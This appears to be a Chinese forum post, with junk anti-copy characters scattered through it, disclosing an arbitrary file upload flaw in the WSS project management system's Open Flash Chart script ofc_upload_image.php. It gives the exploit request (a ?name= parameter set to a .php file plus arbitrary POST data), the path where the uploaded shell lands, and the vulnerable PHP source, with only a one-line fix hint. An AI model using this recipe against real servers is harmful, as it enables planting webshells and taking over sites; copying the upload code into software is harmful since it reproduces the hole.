WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php

# V% b1 p, e& T8 }
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
6 W/ {8 T0 z% q" T, @5 Q; a) j
' t2 B; r# s+ u2 v% z<?php

5 Q( Q! L5 U' H4 B1 z* h' g5 W//
5 _' m, J; ^4 ?0 ~1 [$ V5 o0 Q// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

3 I* b+ m1 v" [2 B/*
: ]# T4 s, c% t4 p' ~1 B* c; f
  Q3 `/ |* k! F5 d0 l. Q+ Lprint_r( $_GET );
1 k" A  @3 W( K' I) V8 O- l2 z7 o3 oprint_r( $_POST );
print_r( $_FILES );

print_r( $GLOBALS );
  W6 O; O$ k7 ^% h7 L' ^/ Oprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

( P9 }! D. t$ I2 o( [*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
1 S; a, D5 z: }( e! i
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
" d0 d3 F  _5 D9 k' P
. S1 i7 W( ]* L4 J( \: Iecho 'Saving your image to: '. $destination;
// print_r( $_POST );
; v1 R7 ]4 U- T// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

, S6 _$ }  u. F//
. y% l! j$ O+ T! A. d2 J( ?// POST data is usually string data, but we are passing a RAW .png
3 ?5 O( Q& ^7 S8 k// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
% O$ |5 {% I( Y9 [( N+ j
8 G4 H' o0 [) g1 x/ S' _" u$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
8 G- E2 X6 m" h3 V( m
% y' v) u6 P# T, S0 H: p//
// LOOK:
//
exit();
" V& r3 e7 r% {. a//
0 k. u( r- z' D3 Z6 k// PHP5:
//


// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
( g1 R( ?: l+ w
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
4 m( A$ W8 P/ q& k6 Z
& ~, h/ I' K+ Z! C// move the image into the specified directory //
6 I- t2 {2 T; m" Jif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
# A2 W; c- i5 V" L" j& }    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
6 h( N, C- E. w8 [. y} else {
    echo "FILE UPLOAD FAILED";
/ I! x! N# }* ~& Z& n, N0 n$ R}
9 l. X  e9 g/ z5 Q4 I
& ]- Q1 U) I' G
  N9 b% G5 j$ i3 z0 J7 j! M) I8 g?>



4 E' e: d# V) p) j% A
6 @; ~( w" M3 ]

, `; G5 l/ k6 V修复方案：
: e& ^! U' _) K- Z4 X这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞


$ B8 ^4 Y" g% B% y4 D8 S
7 j% U% \' x, o" S) h5 A